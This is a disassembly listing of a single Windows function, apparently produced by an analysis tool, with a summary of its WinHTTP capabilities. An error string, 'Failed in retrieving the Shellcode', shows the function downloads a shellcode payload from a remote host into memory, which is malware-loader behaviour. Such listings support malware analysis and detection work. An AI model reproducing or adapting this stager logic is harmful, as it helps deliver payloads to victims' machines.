Function at 0x14001ebc0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
xor r10d, r10d
mov rbx, r9
xor r9d, r9d
mov rsi, rdx
mov edi, r8d
mov qword [rsp + 0xd0], rcx
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x78], r9
xor r9d, r9d
mov dword [rsp + 0x60], r10d
mov dword [rsp + 0x64], r10d
mov dword [rsp + 0x20], r10d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001ec44
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r13, rax
test rax, rax
jne 0x14001ec5a
jmp 0x14001ec8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpConnect___u__n
call fcn.14001eb70
jmp 0x14001ec8f
xor r8d, r8d
xor r9d, r9d
lea rdx, [0x14002e1ea]
mov rcx, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
mov r8, rbx
mov dword [rsp + 0x30], 0x800000
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
jne 0x14001eca8
jmp 0x14001ecd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpOpenRequest___u__n
call fcn.14001eb70
xor r13d, r13d
jmp 0x14001ecd0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14001ed0c
jmp 0x14001ece8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpSendRequest___u__n
call fcn.14001eb70
xor ebp, ebp
jmp 0x14001ed0c
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov r14d, eax
test eax, eax
je 0x14001eed4
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov qword [rsp + 0x58], rax
jmp 0x14001ed87
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpReceiveResponse___u__n
call fcn.14001eb70
xor r14d, r14d
jmp 0x14001eed4
test eax, eax
je 0x14001ed9e
mov eax, dword [rsp + 0x60]
lea ecx, [rax + 1]
call fcn.14002b430
mov r8d, dword [rsp + 0x60]
mov rsi, rax
xor eax, eax
lea r9, [rsp + 0x64]
mov rdi, rsi
mov rdx, rsi
lea ecx, [r8 + 1]
rep stosb byte [rdi], al
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x14001edb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.14001eb70
mov rcx, rsi
call fcn.14002b400
cmp dword [rsp + 0x60], 0
je 0x14001eed4
xor eax, eax
lea rdx, [rsp + 0x60]
mov rcx, rbp
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x58]
call rax
jmp 0x14001ed28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable___u__n
call fcn.14001eb70
jmp 0x14001ed2c
mov r12d, dword [rsp + 0x64]
mov rdi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
lea rax, [rsi + r12]
mov qword [rsp + 0x48], rax
cmp rax, rsi
je 0x14001ed74
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
sub rax, rdi
cmp rax, r12
jb 0x14001ee1d
mov rdx, qword [rsp + 0x48]
mov r8, rdi
mov rcx, rsi
call fcn.140025b10
lea r8, [rdi + r12]
mov rdx, rdi
mov rcx, rdi
mov qword [rsp + 0x70], r8
call fcn.140025b40
mov r8, rdi
mov rdx, rsi
mov rcx, rsi
call fcn.140025b10
jmp 0x14001ed74
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
sub rbx, r15
mov rdx, rax
sub rdx, rbx
cmp rdx, r12
jae 0x14001ee44
lea rcx, str.vector::_M_range_insert
call fcn.14002be10
cmp r12, rbx
cmovb r12, rbx
add rbx, r12
jb 0x14001ee6b
xor r12d, r12d
test rbx, rbx
je 0x14001ee79
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
jmp 0x14001ee6e
mov rbx, rax
mov rcx, rbx
call fcn.14002b440
mov r12, rax
mov rdx, rdi
mov r8, r12
mov rcx, r15
call fcn.140025b40
mov rdx, qword [rsp + 0x48]
mov rcx, rsi
mov r8, rax
call fcn.140025b10
mov rdx, rdi
mov rcx, rdi
mov r8, rax
call fcn.140025b40
mov rdi, rax
test r15, r15
je 0x14001eebd
mov rdx, qword [rsp + 0x50]
mov rcx, r15
sub rdx, r15
call fcn.14002b420
mov qword [rsp + 0x68], r12
add r12, rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r12
jmp 0x14001ed74
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
cmp rsi, rbx
je 0x14001eeea
test r14d, r14d
jne 0x14001ef0c
jmp 0x14001eef8
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.14001eb70
jmp 0x14001eee3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.14001eb70
test rbp, rbp
je 0x14001ef1a
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r13, r13
je 0x14001ef28
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x40], 0
je 0x14001ef3b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub rbx, rsi
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
xor edx, edx
cmp rbx, rdx
je 0x14001ef6d
mov cl, byte [rsi + rdx]
mov byte [rax + rdx], cl
inc rdx
jmp 0x14001ef48
mov rsi, qword [rsp + 0xd0]
lea rcx, [rsp + 0x68]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
call fcn.1400273d0
mov rax, qword [rsp + 0xd0]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret